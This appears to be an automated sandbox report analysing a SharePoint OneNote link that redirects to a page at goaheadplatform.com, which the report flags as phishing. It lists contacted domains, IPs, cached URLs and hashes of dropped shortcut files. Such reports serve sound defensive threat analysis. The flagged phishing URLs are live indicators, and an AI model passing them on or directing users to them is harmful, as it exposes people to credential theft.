https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js	0%	Avira URL Cloud	safe
https://ikorti-iao.cbg.ru//	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	unknown
wac-0003.wac-dc-msedge.net	52.108.11.12	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	unknown
wac-0003.wac-msedge.net	52.108.8.12	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
189920-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com	52.105.160.39	true	false	unknown
goaheadplatform.com	209.124.66.28	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
www.google.com	142.250.185.196	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
ikorti-iao.cbg.ru	188.114.96.3	true	false	unknown
sni1gl.wpc.sigmacdn.net	152.199.21.175	true	false	unknown
js.monitor.azure.com	unknown	unknown	false	unknown
fa000000012.resources.office.net	unknown	unknown	false	unknown
amdat-my.sharepoint.com	unknown	unknown	false	unknown
euc-common.online.office.com	unknown	unknown	false	unknown
fa000000111.resources.office.net	unknown	unknown	false	unknown
fa000000128.resources.office.net	unknown	unknown	false	unknown
augloop.office.com	unknown	unknown	false	unknown
storage.live.com	unknown	unknown	false	unknown
ajax.aspnetcdn.com	unknown	unknown	false	unknown
m365cdn.nel.measure.office.net	unknown	unknown	false	unknown
fa000000110.resources.office.net	unknown	unknown	false	unknown
onenoteonline.nel.measure.office.net	unknown	unknown	false	unknown
common.online.office.com	unknown	unknown	false	unknown
fa000000138.resources.office.net	unknown	unknown	false	unknown
amcdn.msftauth.net	unknown	unknown	false	unknown
spoprod-a.akamaihd.net	unknown	unknown	false	unknown
www.onenote.com	unknown	unknown	false	unknown
messaging.engagement.office.com	unknown	unknown	false	unknown
fa000000096.resources.office.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://goaheadplatform.com/filesshare.html	true		unknown
https://goaheadplatform.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?rtime=DYqAZYel3Eg	false		unknown
https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js	false	Avira URL Cloud: safe	unknown
https://common.online.office.com/suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f	false	Avira URL Cloud: safe	unknown
https://euc-common.online.office.com/suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/learningtools/?et=	false		unknown
https://ikorti-iao.cbg.ru//	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://roaming.officeapps.partner.office365.cn/rs/v1/settings	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=fil-PH&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=az-Latn-AZ&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=hy-AM&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=is-IS&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/f1/home?isAgave=true&helpid=161255	chromecache_281.2.dr, chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=mi-NZ&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline-int.com	chromecache_281.2.dr, chromecache_447.2.dr	false	Avira URL Cloud: phishing	unknown
https://www.onenote.com/officeaddins/meetings?ui=kok-IN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php	chromecache_369.2.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ky-KG&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=sk-SK&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ca-ES-valencia&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://fa000000128.resources.office.net:3000/index.html	chromecache_239.2.dr, chromecache_316.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ka-GE&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=tk-TM&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=et-EE&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.fluidpreview.office.net/fluid/prod	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://my.microsoftpersonalcontent.com	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=mt-MT&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=sr-Latn-RS&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ne-NP&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ru-RU&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=sl-SI&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://forms.office.com	chromecache_422.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=bn-BD&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=vi-VN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=af-ZA&temporaryLocalization=true	chromecache_423.2.dr	false		unknown
https://support.office.com/f1/home?isAgave=true&helpid=160272	chromecache_281.2.dr, chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://whiteboard.microsoft.scloud	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://augloop-int.officeppe.com/v2	chromecache_422.2.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/Officeaddins	chromecache_422.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=mn-MN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ro-RO&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://consent.config.office.com/consentcheckin/v1.0/consents	chromecache_422.2.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=cs-CZ&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://fa000000096.resources.office.net	chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=pl-PL&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=prs-AF&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/f1/home?isAgave=true&helpid=126385	chromecache_281.2.dr, chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://whiteboard.office.com/root/index.fluid.js	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=sv-SE&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/js-cookie/js-cookie	chromecache_385.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=uk-UA&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7afcb4f3-4aa2-443a-9b08-125a5d692576	chromecache_363.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/ec43ed03-eb3c-4a10-8d9d-e9e5433c9ed2	chromecache_396.2.dr, chromecache_241.2.dr	false	Avira URL Cloud: safe	unknown
http://support.office.com	chromecache_281.2.dr, chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/images/inapp-help-icon-80.png	chromecache_281.2.dr, chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ar-SA&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://roaming.osi.office.de/rs/v1/settings	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=he-IL&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=nso-ZA&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=mk-MK&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://login.windows-ppe.net	chromecache_281.2.dr, chromecache_447.2.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=zu-ZA&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=lt-LT&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://reactjs.org/link/react-polyfills	chromecache_246.2.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=sq-AL&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=pt-PT&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	chromecache_281.2.dr, chromecache_447.2.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=tg-Cyrl-TJ&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.fluidpreview.office.net/fluid/gcc	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=nb-NO&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=zh-TW&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=tr-TR&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=fr-FR&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=wo-SN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=de-DE&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=kn-IN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2210.23001/en-us_w	chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/mathassistant	chromecache_422.2.dr	false	Avira URL Cloud: safe	unknown
https://forms.officeppe.com	chromecache_322.2.dr, chromecache_266.2.dr, chromecache_422.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=bn-IN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=fi-FI&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ms-MY&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=te-IN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ml-IN&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
http://hammerjs.github.io/	chromecache_439.2.dr, chromecache_259.2.dr	false	URL Reputation: safe	unknown
https://whiteboard.office365.us	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=id-ID&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ca-ES&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://edog.onenote.com	chromecache_396.2.dr, chromecache_241.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/f1/home?isAgave=true	chromecache_281.2.dr, chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://whiteboard.eaglex.ic.gov	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=tt-RU&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=am-ET&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=es-ES&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown
https://roaming.osi.apps.mil/rs/v1/settings	chromecache_363.2.dr, chromecache_306.2.dr	false	Avira URL Cloud: safe	unknown
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js	chromecache_278.2.dr	false	Avira URL Cloud: safe	unknown
https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2401.26003/en-us_w	chromecache_363.2.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=tn-ZA&temporaryLocalization=true	chromecache_423.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.42	s-part-0014.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.105.160.39	189920-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.108.10.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
209.124.66.28	goaheadplatform.com	United States	55293	A2HOSTINGUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
152.199.21.175	sni1gl.wpc.sigmacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.108.8.12	wac-0003.wac-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.108.11.12	wac-0003.wac-dc-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.96.3	ikorti-iao.cbg.ru	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5
192.168.2.17

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1474142
Start date and time:	2024-07-16 13:05:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@20/362@84/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://goaheadplatform.com/filesshare.html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.186.110, 74.125.71.84, 34.104.35.123, 2.23.209.31, 2.23.209.40, 2.23.209.35, 2.23.209.36, 2.23.209.34, 2.23.209.33, 2.23.209.32, 2.23.209.37, 2.23.209.38, 23.15.178.210, 23.15.178.137, 23.15.178.224, 2.23.209.25, 2.23.209.26, 2.16.164.19, 2.16.164.106, 20.189.173.2, 52.168.117.170, 13.69.116.108, 142.250.185.106, 142.250.185.138, 142.250.185.170, 216.58.212.138, 172.217.23.106, 142.250.185.74, 172.217.16.202, 172.217.18.10, 142.250.186.170, 216.58.206.42, 216.58.206.74, 142.250.184.234, 142.250.186.106, 142.250.186.74, 142.250.185.202, 142.250.185.234, 142.250.186.42, 142.250.181.234, 172.217.18.106, 142.250.184.202, 142.250.186.138, 172.217.16.138, 13.85.23.86, 199.232.214.172, 13.69.116.109, 192.229.221.95, 13.85.23.206, 23.15.178.82, 23.15.178.113, 52.113.194.132, 2.18.64.212, 2.18.64.211, 40.90.136.180, 52.109.77.37, 20.190.159.75, 20.190.159.23, 40.126.31.71, 20.190.159.0, 20.190.159.2, 40.126.31.67, 20.190.159.71, 40.126.31.69, 52.111.231
Excluded domains from analysis (whitelisted): aijscdn2.afd.azureedge.net, slscr.update.microsoft.com, mrodevicemgr.officeapps.live.com, clientservices.googleapis.com, res-1.cdn.office.net, browser.events.data.trafficmanager.net, cdn.onenote.net.edgekey.net, clients2.google.com, prod-campaignaggregator.omexexternallfb.office.net.akadns.net, ocsp.digicert.com, login.live.com, star-azurefd-prod.trafficmanager.net, resources.office.net.edgekey.net, update.googleapis.com, eu-office.events.data.microsoft.com, wu-b-net.trafficmanager.net, onedscolprdeus13.eastus.cloudapp.azure.com, e40491.dscg.akamaiedge.net, ecs.office.com, fs.microsoft.com, content-autofill.googleapis.com, wise.public.cdn.office.net, reverseproxy.onenote.trafficmanager.net, portal-office365-com.b-0004.b-msedge.net, cdn-office.ec.azureedge.net, s-0005-office.config.skype.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, res-prod.trafficmanager.net, owamail.public.cdn.office.net.edgekey.net, s-0005.s-msedge.net, euc-onenote-geo.wac.traf
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jul 16 10:06:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.976640872491177
Encrypted:	false
SSDEEP:	48:8UdHTf9VHHfidAKZdA19ehwiZUklqehhy+3:8gRVBiy
MD5:	3019A5F60C522227C87EB3ED33B45F38
SHA1:	9F8A03C3B0571FAF3E301137910B64F3BD37B544
SHA-256:	13F2D8324249C2A73DC29048FB7CBFD4114B5BACD38009987CAF6554FF75A22C
SHA-512:	51398490D14CF043234B39D13DBAF48CBD8276E6D84E43BC8252E9FFC9CA3BBF2AC1EDD56AD7F7C61B3B0608CCF3FD2D99AD7DD466080C9CD5BAF769E7019ECA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Bp...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............2>s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jul 16 10:06:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.993008807509962
Encrypted:	false
SSDEEP:	48:8SrdHTf9VHHfidAKZdA1weh/iZUkAQkqehSy+2:8yRVz9Q/y
MD5:	003205DE6D436B0782FBD59B1940AF94
SHA1:	5157A63D2C31523A6348E2D7502521E9D2085ED9
SHA-256:	92BBEEDCE1D91689A5C0CF4926549FFF78F4B17179D27D60DC3DD3EA4C3945F5
SHA-512:	7F44AB4607D6436AD521CA99A31EEB630F1C6031B6E446F0B39AFEF605CB0F717B13509654E58631DD2FA755157DE85E4E464B4593AFF662D53894B5E3A90649
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......Bp...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............2>s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0030617801957264
Encrypted:	false
SSDEEP:	48:8xgdHTf9VsHfidAKZdA14tseh7sFiZUkmgqeh7sgy+BX:8xMRVenmy
MD5:	738E036848732E71989BCBBEED2E87A4
SHA1:	842A14BB8C45D4AACBD559ADC547F4A4D86FA8EA
SHA-256:	85567DECCE2ABBE96E941D0A34B194808BB8F0AB8F992232E7BE8BCDE7EC20B6
SHA-512:	C42B0B76823532A7CDFC6941FE066FE17080C56CD997ED2A7677B030A7189BDFC88D045CDE299EA7BB4BA74A16B5EABA5CAD196B01FDFEC919FCD17CDC9A106D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............2>s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jul 16 10:06:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992684674262033
Encrypted:	false
SSDEEP:	48:8SWdHTf9VHHfidAKZdA1vehDiZUkwqehuy+R:8zRVwoy
MD5:	69021622988A707DE8CB98F60695BD55
SHA1:	485CED0083F7B00B2F5D519B50D96AD4C3A5A056
SHA-256:	D6993E04F29C783632FBB69D050809151B8AEDEFEACC8DC05BCB6C23EE7EEFB3
SHA-512:	DB1D6B3D7C74266A88AC1BB5C01738A9B7C4D1CA7B677A18651B9BB906B057C679CB7D63D1E9C8F12A9DA9D707F4CA916EAFCA91DDC7707DE50B8E3AA5334FE2
Malicious:	false
Reputation:	low
